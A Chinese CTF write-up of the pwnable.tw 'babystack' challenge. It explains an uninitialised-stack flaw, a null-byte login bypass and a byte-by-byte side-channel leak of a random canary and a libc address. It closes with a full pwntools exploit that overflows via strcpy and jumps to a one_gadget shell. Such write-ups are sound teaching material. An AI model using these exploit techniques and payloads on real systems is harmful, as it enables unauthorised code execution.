pwnable上300分的babystack。第二次见到利用栈残余数据完成的攻击。利用测信道(不过是程序内的)完成爆破,一开始也没有想到。只能说这题非常巧妙了。做了整整两个晚上才做完。
逆向分析 保护
可以看到保护全开。由于看名字是栈,这里有canary可能是需要爆破之类的。PIE开启,说明也不能用ROP,考虑用one_gadget解决。那么需要泄露libc,但是也不是堆…(开始胡言乱语 )
言归正传,不如看一下IDA。小然会欺骗你,但IDA不会(doge )。
程序分析 程序主要实现三个功能:登录,copy数据和退出程序。
copy数据时需要登陆。登录的规则是将输入和一串random输入的数据比较。这里很容易看出strncmp有\x00字符绕过。因此绕过登录十分简单。
copy时会将用户输入copy到调用者栈上的一个局部变量中。使用的是危险函数strcpy,但是输入大小小于缓冲区大小。似乎我们可以利用strcmp输入到0才结束的条件多复制一些数据。但似乎也无法溢出到返回地址。
退出程序的时候会调用return
而不是exit
,说明可以利用return的返回地址。
乍一看似乎没有明显的漏洞。
漏洞点 这里是上网查找资料发现。和pwnable.tw上面另一道题see-the-file一样,这里也存在着栈未初始化漏洞(但是很奇怪,现在的ctf比赛中似乎很少涉及这样的漏洞)。注意到以下内容
我们在比较real_passwd(随机值)和用户输入时,读取了128个字节。这将最多向上覆盖掉栈的128字节内容。
而我们的copy函数中,所需栈空间正好也是128byte。这说明我们通过cmp_passwd能够完全控制copy函数的栈空间!因此也就能完成消除堆地址或者libc地址附近的\x00字节,完成堆溢出。
想到这里似乎开心了一下,起码溢出点找到了。但是问题随之而来:怎样泄露libc?怎样泄露canary? 程序中似乎没有直接的泄露函数,好像又没了思路。
这里其实是另一种侧信道的思想。也就是pwn中”or”(原先是”orw”,缺少了write即输出函数)题目的思想:根据函数返回值判断一个byte输入正确与否,经过很多次的比较完成确定byte。本题中有一个天然的比较函数,也就是登陆时判断输入和main的栈空间中特定位置是否相同的比较函数。比较容易想到:只需要通过00截断,就可以比较任意位置的byte。通过这种机制泄露libc信息和canary数值即可。
这道题另一个有趣的地方是,本题的canary验证是自己写的,并不依赖编译器。如下图
通过动态调试发现,所比较的内容正是我们读入的password和原先的random数值。因此我们还不能简单\x00绕过登陆检验就结束,还需要真正的爆破出随机数。
这就牵涉到另一个问题:如果随机数中或者我们要爆破的libc信息中包含了\x00,怎么办?因为我们input不能包含\x00,否则就会被截断,但是比较又要涉及这个byte。
一个解决办法是出现\x00就保存上次的信息,重新填充栈为已知数值之后再次爆破。经过实际测算,发生这样事件的概率很小。如果碰到只需要重来就行。因此我们的步骤如下。
步骤
爆破随机数
利用get_password+copy覆盖原先栈中buf中的\x00byte直到一个libc地址,再次逐字节爆破。
写回canary,写回程序返回位置(使用one_gadget)
编写exp get_random 首先是爆破random的函数。这里就是幼儿园都会的逐字节比较,如果比较到0xff还没有结果,说明今天适合买彩票。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def get_random (): random_pre = b"" result_case = [] break_flag = 0 for i in range (0 ,16 ): for j in range (1 ,0x100 ): random_test = random_pre + p8(j) + p8(0x0 ) result = get_passwd(random_test) if (result ==True ): success('result for byte ' + repr (i) + ' is ' + repr (hex (j))) random_pre+=p8(j) result_case.append(j) io.recvuntil('>> ' ) io.sendline('1' ) break if (j == 0xff ): print ("bad luck" ) return result_case
get_libc get_libc本来不用这么复杂,我只是把循环写开了(因为一开始没有注意到还要爆破一个canary…)原理和上面一模一样的。一开始的password_pre只是在栈上找到了一个libc信息的偏移位置。这个要经过调试才能发现为什么要这么写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 def get_libc (): result = False password_pre = b"a" *0x10 +p8(0x31 )+p8(0xa )+p8(0x61 )*(6 )+p8(0xb4 ) for i in range (1 ,0xff ): password_test = password_pre + p8(i) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte one: " + hex (i)) break password_pre+=p8(i) io.recvuntil('>> ' ) io.sendline('1' ) for j in range (1 ,0xff ): password_test = password_pre + p8(j) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte two: " + hex (j)) break password_pre+=p8(j) io.recvuntil('>> ' ) io.sendline('1' ) for k in range (1 ,0xff ): password_test = password_pre + p8(k) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte thee: " + hex (k)) break password_pre+=p8(k) io.recvuntil('>> ' ) io.sendline('1' ) for l in range (1 ,0xff ): password_test = password_pre + p8(l) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte 4: " + hex (l)) break libc_info = (0x7f << 0x28 ) + (l << 0x20 ) + (k << 0x18 ) + (j << 0x10 ) + (i << 0x8 ) + 0xb4 success("libc_info: " + hex (libc_info)) return libc_info
getshell 最后一个getshell就是利用登陆函数布置好栈,借用copy一次性复制过去导致栈溢出。放好random1和random2绕过canary。最终触发one_gadget结束。
1 2 3 4 5 6 7 8 9 10 11 12 13 og = [0x45216 ,0x4526a ,0xef6c4 ,0xf0567 ] password3 = b'\x00' + b'a' *63 + p64(random1) + p64(random2) + b'a' *0x18 + p64(libc_base + og[0 ])*2 io.recvuntil('>> ' ) io.sendline('1' ) get_passwd(password3) payload2 = b'aaaaaaaa' copy(payload1) io.recvuntil('>> ' ) io.sendline('2' )
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 from keyring import get_passwordfrom pwn import *from sqlalchemy import truefilename="./babystack" libc_name="libc_64.so.6" io = process(filename) elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] password1 = b'\x00ab' password2 = b'\x00' +b'a' *63 +b"a" *16 +p8(0xff )+b'a' *(7 ) password_getrandom = b'\x00' +p64(0xdeadbeef ) def get_passwd (passwd ): io.recvuntil('>> ' ) io.sendline('1' ) io.recvuntil('Your passowrd :' ) io.send(passwd) if (b'Success' in io.recvline()): return True else : return False def copy (payload ): io.recvuntil('>> ' ) io.sendline('3' ) io.recvuntil('Copy :' ) io.send(payload) def debug (): gdb.attach(io,"brva 0xEA5" ) def get_libc (): result = False password_pre = b"a" *0x10 +p8(0x31 )+p8(0xa )+p8(0x61 )*(6 )+p8(0xb4 ) for i in range (1 ,0xff ): password_test = password_pre + p8(i) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte one: " + hex (i)) break password_pre+=p8(i) io.recvuntil('>> ' ) io.sendline('1' ) for j in range (1 ,0xff ): password_test = password_pre + p8(j) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte two: " + hex (j)) break password_pre+=p8(j) io.recvuntil('>> ' ) io.sendline('1' ) for k in range (1 ,0xff ): password_test = password_pre + p8(k) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte thee: " + hex (k)) break password_pre+=p8(k) io.recvuntil('>> ' ) io.sendline('1' ) for l in range (1 ,0xff ): password_test = password_pre + p8(l) + b'\x00' result = get_passwd(password_test) if (result == True ): success("libc byte 4: " + hex (l)) break libc_info = (0x7f << 0x28 ) + (l << 0x20 ) + (k << 0x18 ) + (j << 0x10 ) + (i << 0x8 ) + 0xb4 success("libc_info: " + hex (libc_info)) return libc_info def get_random (): random_pre = b"" result_case = [] break_flag = 0 for i in range (0 ,16 ): for j in range (1 ,0x100 ): random_test = random_pre + p8(j) + p8(0x0 ) result = get_passwd(random_test) if (result ==True ): success('result for byte ' + repr (i) + ' is ' + repr (hex (j))) random_pre+=p8(j) result_case.append(j) io.recvuntil('>> ' ) io.sendline('1' ) break if (j == 0xff ): print ("bad luck" ) return result_case random_case = get_random() random1 = (random_case[7 ]<<0x38 ) + (random_case[6 ]<<0x30 ) + (random_case[5 ]<<0x28 ) + (random_case[4 ]<<0x20 ) + (random_case[3 ]<<0x18 ) + (random_case[2 ]<<0x10 ) + (random_case[1 ]<<0x8 ) + (random_case[0 ]) random2 = (random_case[15 ]<<0x38 ) + (random_case[14 ]<<0x30 ) + (random_case[13 ]<<0x28 ) + (random_case[12 ]<<0x20 ) + (random_case[11 ]<<0x18 ) + (random_case[10 ]<<0x10 ) + (random_case[9 ]<<0x8 ) + (random_case[8 ]) success("random1: " + hex (random1)) success("random2: " + hex (random2)) get_passwd(password2) payload1 = b'a' copy(payload1) io.recvuntil('>> ' ) io.sendline('1' ) libc_info = get_libc() libc_base = libc_info - 0x06ffb4 success("libc_base:" + hex (libc_base)) og = [0x45216 ,0x4526a ,0xef6c4 ,0xf0567 ] password3 = b'\x00' + b'a' *63 + p64(random1) + p64(random2) + b'a' *0x18 + p64(libc_base + og[0 ])*2 io.recvuntil('>> ' ) io.sendline('1' ) get_passwd(password3) payload2 = b'aaaaaaaa' copy(payload1) io.recvuntil('>> ' ) io.sendline('2' ) io.interactive()
后记 关于栈未初始化漏洞,我觉得其实可以深入挖掘一下,因为这十分细节,而且一般防御方法很难做到对栈保护(除非每次调用玩清零,但是这涉及到虚拟内存不同位置的多次IO,可能需要很大的开销)
其实编写利用栈残留数据的题目挺难的。在pwnable上面见到了两道,一般的比赛中很少见到。
(另外pwnable.tw服务器越来越慢了:(之前做的两题加上这个都没法交,尤其是这个爆破的,估计按照服务器的速度,要至少两三个小时,早就触发alarm了)不过不得不说,pwnable.tw还是值得刷的!